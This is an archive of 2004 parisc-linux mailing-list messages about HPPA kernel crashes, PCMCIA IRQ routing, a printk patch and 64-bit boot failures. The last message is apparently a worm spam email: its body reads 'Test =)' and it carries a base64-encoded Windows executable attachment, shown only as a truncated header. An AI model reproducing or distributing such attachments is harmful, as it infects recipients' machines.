X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 19:33:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20659

Hi all,

I've been reading the list for a while, thought I should join. I'm not really 
a developer (well not on hppa) but I am happy to test stuff out :-)

First of all, I want to thank everyone whos worked on linux for HPPA.
I never really felt comfortable with hp-ux, and getting things working was 
always a pain. 

I own a model 9000/800/A180c. (512 mb ram / 18gb hd)

I was running previously the 2.4 series kernels, but had a lot of crashes 
during HD access. I have seen this mentioned before, and Its probably the 
same issue ? (In fact most of the crashes were during package 
unpacking/installation). Since moving to the 2.6 series this hasnt happened. 
Is this scsi issue now fixed, or have I been lucky ? (I did have a crash 
recently involving a debug file being written. Could it be this problem 
again ?)

I just built Linux hp9000 2.6.1-pa7 and on my system it seems to be working 
fine.

Also, does anyone here know why dovecot wouldnt work with libgnutls on hppa ? 
the dovecot maintainer has been trying to debug it on my machine (If my 
machine hadnt crashed). works fine with openssl. Has anybody had any other 
problems with libgnutls ?

Best Regards

Jools
-- 
Oxford Inspire
jools@oxfordinspire.co.uk
Tel: 01865 751879
Mob: 07966 577498



From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Mon, 19 Jan 2004 22:48:29 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <200401192248.29566.deller@gmx.de>
References: <200401182059.34270.deller@gmx.de>
	<1074522943.2201.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623138 4682 80.91.229.3 (22 Nov 2014 02:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Jan 19 14:48:36 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D8FB4868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 14:48:35 -0700 (MST)
Original-Received: (qmail 9044 invoked by uid 65534); 19 Jan 2004 21:48:33 -0000
Original-Received: from pD9040E5E.dip.t-dialin.net (EHLO p100) (217.4.14.94)
	by mail.gmx.net (mp022) with SMTP; 19 Jan 2004 22:48:33 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6
In-Reply-To: <1074522943.2201.1.camel@mulgrave>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Jan 2004 21:48:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20660

On Monday 19 January 2004 15:35, James Bottomley wrote:
> On Sun, 2004-01-18 at 14:59, Helge Deller wrote:
> > ..now inserting my TDK ISDN/serial modem PCMCIA card....
> 
> Sorry, I'm an idiot...these type of cards don't seem to work (they seem
> to require ISA IRQ routing rules, which we can't provide).

Wouldn't it be possible to write a wrapper, which simulated the
ISA IRQs 0-15 and routes them to dino instead ?
Isn't this similiar like the hack we have for the EISA driver ?
And maybe we are lucky and no PA-machine has both, EISA and PCMCIA.
Would this be possible ?

> Do you have a network or wireless card you could try instead?

Sadly no, only one other ISDN card (AVM).

Helge


From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: Mon, 19 Jan 2004 17:50:33 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20040120005033.GA3846@colo.lackof.org>
References: <200401182059.34270.deller@gmx.de>
	<1074522943.2201.1.camel@mulgrave>
	<200401192248.29566.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623138 4687 80.91.229.3 (22 Nov 2014 02:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@lackof.org  Mon Jan 19 17:50:35 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2723B4868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 17:50:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5DF2529804A; Mon, 19 Jan 2004 17:50:34 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04305-10; Mon, 19 Jan 2004 17:50:33 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9B563298046; Mon, 19 Jan 2004 17:50:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200401192248.29566.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 00:50:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20661

On Mon, Jan 19, 2004 at 10:48:29PM +0100, Helge Deller wrote:
> > Sorry, I'm an idiot...these type of cards don't seem to work (they seem
> > to require ISA IRQ routing rules, which we can't provide).
> 
> Wouldn't it be possible to write a wrapper, which simulated the
> ISA IRQs 0-15 and routes them to dino instead ?

Yes

> Isn't this similiar like the hack we have for the EISA driver ?
> And maybe we are lucky and no PA-machine has both, EISA and PCMCIA.
> Would this be possible ?

Certainly. Need to write the "glue" that aliases the ESIA IRQs
(IRQ region 0) to which ever Dino IRQ region is handling them.
In other words, convert the PCI interrupts to ISA interrupts.
If you could fake the ISA driver into using PCI interrupts
(ie IRQs > 15), then one could register device driver interrupt
handler directly with Dino. Otherwise, an intermediate interrupt
handler will be needed that translates the Dino interrupt
into whatever IRQ the PCMCIA/ISA device thinks it's using.

I don't konw any of the details, that's just the overview.
In particular, how to determine which Dino is the right one.
On RDI PrecisionBook laptop, it might be simple and maybe just
make some assumptions based on that implementation.

grant


From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32bit parisc kernel 2.6.1 and pcmcia
Date: 19 Jan 2004 20:16:30 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1074561391.2081.17.camel@mulgrave>
References: <200401182059.34270.deller@gmx.de>
	<1074522943.2201.1.camel@mulgrave> <200401192248.29566.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623138 4697 80.91.229.3 (22 Nov 2014 02:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:38 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Mon Jan 19 18:16:39 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C0B24868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 18:16:38 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0K1GZa03593; Mon, 19 Jan 2004 20:16:35 -0500
In-Reply-To: <200401192248.29566.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 01:16:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20662

On Mon, 2004-01-19 at 16:48, Helge Deller wrote:
> Wouldn't it be possible to write a wrapper, which simulated the
> ISA IRQs 0-15 and routes them to dino instead ?
> Isn't this similiar like the hack we have for the EISA driver ?
> And maybe we are lucky and no PA-machine has both, EISA and PCMCIA.
> Would this be possible ?

OK...Just to confirm what you're getting yourself into:

The yenta socket is a deep black art.  It also covers a multitude of
slightly different standards (from different manufacturers).  I learned
enough of the sourcery to say the required incantations for my
particular needs (which were a B180 with a PCI<->cardbus yenta socket
that came free with my zoom wireless card).

In order to get my setup to work, I also had to replumb virtually the
whole of the dino PCI system (I needed this because the B180 firmware
barfed at the PCMCIA socket and simply disabled it).

The point, I'm afraid, is that although I got it work for me, I'll bet
not much of the magic is transferrable, so you may also find yourself
ploughing through the yenta specs...

If this hasn't deterred you, then read on intrepid adventurer.

One of the things you seem to have from the error messages is IRQ
misrouting.  Could you boot up (or stop PCMCIA, remove all the modules,
including the core and restart) with a card in the socket?  The socket
status should tell us which one, and the IRQ line is given by lspci. 
Since the chip is both PCI device functions, it's not impossible to have
the IRQ routings messed up.

James



From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] printk cleanup
Date: Mon, 19 Jan 2004 18:50:07 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20040120015007.GA5088@colo.lackof.org>
References: <3FEDC568.30006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623138 4704 80.91.229.3 (22 Nov 2014 02:25:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Mon Jan 19 18:50:08 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD2974868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jan 2004 18:50:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 21F8F29804A; Mon, 19 Jan 2004 18:50:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 05206-08; Mon, 19 Jan 2004 18:50:07 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A94CC298046; Mon, 19 Jan 2004 18:50:07 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FEDC568.30006@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 01:50:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20663

On Sat, Dec 27, 2003 at 05:46:16PM +0000, Joel Soete wrote:
> -		panic(__FILE__ ": pcxl_alloc_range() Too many pages to 
> map.\n");
> +		panic("%s: pcxl_alloc_range() Too many pages to map.\n",
> +		      __FILE__);

thanks - I applied this patch (plus correction in pci.h)

grant


From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Stability / Kernel 2.6.1 / HD Freezes
Date: Tue, 20 Jan 2004 11:18:58 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20040120161858.GC15917@baldric.uwo.ca>
References: <200401191930.27090.jools@oxfordinspire.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623139 4711 80.91.229.3 (22 Nov 2014 02:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:39 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Jools Smyth <jools@oxfordinspire.co.uk>
Original-X-From: carlos@baldric.uwo.ca  Tue Jan 20 09:18:45 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBB5148A5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jan 2004 09:18:44 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040120161611.SJRS23685.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Tue, 20 Jan 2004 11:16:11 -0500
Content-Disposition: inline
In-Reply-To: <200401191930.27090.jools@oxfordinspire.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (95% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Tue,
	20 Jan 2004 11:16:11 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 16:18:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20664

On Mon, Jan 19, 2004 at 07:30:26PM +0000, Jools Smyth wrote:
> Hi all,
> 
> I've been reading the list for a while, thought I should join. I'm not really 
> a developer (well not on hppa) but I am happy to test stuff out :-)
> 
> First of all, I want to thank everyone whos worked on linux for HPPA.
> I never really felt comfortable with hp-ux, and getting things working was 
> always a pain. 

Thanks!
 
> I own a model 9000/800/A180c. (512 mb ram / 18gb hd)

Have you registered yourself in the hardware database?
http://hwdb.parisc-linux.org/

> I was running previously the 2.4 series kernels, but had a lot of crashes 
> during HD access. I have seen this mentioned before, and Its probably the 
> same issue ? (In fact most of the crashes were during package 
> unpacking/installation). Since moving to the 2.6 series this hasnt happened. 
> Is this scsi issue now fixed, or have I been lucky ? (I did have a crash 
> recently involving a debug file being written. Could it be this problem 
> again ?)

Need more info. What crashes? Can you get a dump? What compiler did you
use to build the kernel?
 
> I just built Linux hp9000 2.6.1-pa7 and on my system it seems to be working 
> fine.

Yay!
 
> Also, does anyone here know why dovecot wouldnt work with libgnutls on hppa ? 
> the dovecot maintainer has been trying to debug it on my machine (If my 
> machine hadnt crashed). works fine with openssl. Has anybody had any other 
> problems with libgnutls ?

Post to debian-hppa lists. I'll be happy to help if I can see a clear
description of the problem.

c.



From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: Tue, 20 Jan 2004 19:12:45 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <400CB89F00000C0C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623139 4717 80.91.229.3 (22 Nov 2014 02:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:39 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue Jan 20 11:12:48 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 349FD4879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jan 2004 11:12:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Aj0Mo-0000BG-00; Tue, 20 Jan 2004 19:12:46 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 20 Jan 2004 19:12:45 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 18:12:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20665

Hi Grant,

> yes - certainly ftp://ftp.parisc-linux.org/patches/diff-2.6.1-bridge_ctl

Ok I applied it against 2.6.1-pa8 (+ some already accepted patch of Matthew
and James related to sym2 driver ;) ).

Compiled with unstable debian gcc-3.3.3 and defconfig, it compiles and boots
well on the b2k ;) (and I am on going to recompile toolchain with it and
all seems to works fine ;) ).

Thanks a lot,
    Joel

ps: I also drive severall test:

Unfortunately, it doesn't help to boot with 64bit kernel on this system
(neither build with my gcc-hppa64_3.3.2 nor with unofficial-deb gcc-hppa64_3.0.4ds3-7.1_hppa.deb
which should the one to use iirc)

And with your config file it always do an hpmc with the 3 compilers I used
(debian gcc-3.3.3, gcc-hppa64 (from gcc-hppa64_3.0.4d
3-7.1_hppa.deb), my own gcc-hppa64_3.3.2), so I would have to find what breaks
for b2k even in 32bit kernel (that will take a long time).

The bad thing is that I don't reach to get any relevant iaoq address from
pim to start investigation :( (just know that it failed very early after
'-- search the FAQ and mailing list...')

hmm just noticed the following diff:
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-2.6.1-pa7'
Selected kernel: /vmlinux-2.6.1-pa7 from partition 3
ELF32 executable
Entry 001002f0 first 00100000 n 3
Segment 0 load 00100000 size 2586936 mediaptr 0x1000
Segment 1 load 00378000 size 368640 mediaptr 0x279000
Segment 2 load 003d4000 size 553093 mediaptr 0x2d3000
Branching to kernel entry point 0x001002f0.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[snip] normal boot


Command line for kernel: 'roo
=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-26-up64-gcc30'
Selected kernel: /vmlinux-26-up64-gcc30 from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 3529136 mediaptr 0x1000
Segment 1 load 00460000 size 237702 mediaptr 0x35f000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


HPMC

So 3 segment loaded in 32bit and only 2 in 64bit, is it normal (i lost info
on the N4k boot :( ).
And also seems to "Branching to" a wrong entry point?



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alty@and.or.jp
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hi
Date: Tue, 20 Jan 2004 19:39:09 +0100
Lines: 312
Approved: news@gmane.org
Message-ID: <vmlbxccwgldlqxqboxr@and.or.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------263448247311703"
X-Trace: ger.gmane.org 1416623139 4720 80.91.229.3 (22 Nov 2014 02:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: alty@and.or.jp  Tue Jan 20 11:39:14 2004
Return-Path: <alty@and.or.jp>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maman (AAmiens-106-1-1-61.w193-252.abo.wanadoo.fr
	[193.252.46.61])
	by dsl2.external.hp.com (Postfix) with SMTP id 95E104879
	for <parisc-linux@parisc-linux.org>;
	Tue, 20 Jan 2004 11:39:09 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 18:39:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20666

----------263448247311703
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
dabdotudbgpbdrx
--
Test, yep.

----------263448247311703
Content-Type: application/x-msdownload; name="dwvirnacpdj.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sexfpbrvw.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
